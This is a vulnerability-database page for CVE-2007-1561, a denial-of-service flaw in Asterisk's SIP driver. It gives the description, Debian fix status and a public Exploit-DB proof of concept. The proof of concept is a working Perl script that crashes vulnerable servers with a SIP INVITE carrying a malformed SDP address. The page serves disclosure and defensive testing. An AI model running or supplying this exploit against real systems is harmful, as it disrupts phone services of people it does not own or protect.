CVE-2007-1561
Description
The channel driver in Asterisk before 1.2.17 and 1.4.x before 1.4.2 allows remote attackers to cause a denial of service (crash) via a SIP INVITE message with an SDP containing one valid and one invalid IP address.
Predictions
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
No mitigations published for this CVE yet.
The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or — if you've already worked around this in production — publish your fix to the community-verified tier.
✚ Propose a mitigation on Community → Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here withsource_tier=community-verified.
Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
Asterisk 1.2.16/1.4.1 - SIP INVITE Remote Denial of Service
#!/usr/bin/perl
# perl asterisk-Invite.pl 192.168.1.104 5060 userX 192.168.1.2 5060 userY
use IO::Socket::INET;
die "Usage $0 <dst> <dport> <dusername> <src> <sport> <susername>" unless ($ARGV[5]);
$socket=new IO::Socket::INET->new(PeerPort=>$ARGV[1],
Proto=>'udp',
PeerAddr=>$ARGV[0]);
$msg="INVITE sip:$ARGV[2]\@$ARGV[0]:$ARGV[1] SIP/2.0\r\nVia: SIP/2.0/UDP $ARGV[3]:$ARGV[4];branch=01;rport\r\nTo: <sip:$ARGV[2]\@$ARGV[0]:$ARGV[1]>\r\nFrom: <sip:$ARGV[3]:$ARGV[4]>;tag=01\r\nCall-ID: 01\@$ARGV[3]\r\nContent-Type: application/sdp\r\nCSeq: 01 INVITE\r\nContent-Length: 187\r\n\r\nv=0\r\no=root 25903 25903 IN IP4 $ARGV[3]\r\ns=session\r\nc=IN IP4 $ARGV[3]\r\nc=IN IP4 910.188.8.2\r\nt=0 0\r\nm=audio 13956 RTP/AVP 0 4 3 8 111 5 10 7 18 110 97 101\r\na=rtpmap:98 speex/16000\r\n\r\n";
$socket->send($msg);
# milw0rm.com [2007-03-25]OS impact
Debian Fixed 2 releases
| Version | Status | Fixed in |
|---|---|---|
| sid | Fixed | 1:1.4.2~dfsg-5 |
| bullseye | Fixed | 1:1.4.2~dfsg-5 |
References
Community-verified mitigations for this CVE will appear above when contributors publish them.
Verify integrity in audit chain (admin only). AS-IS.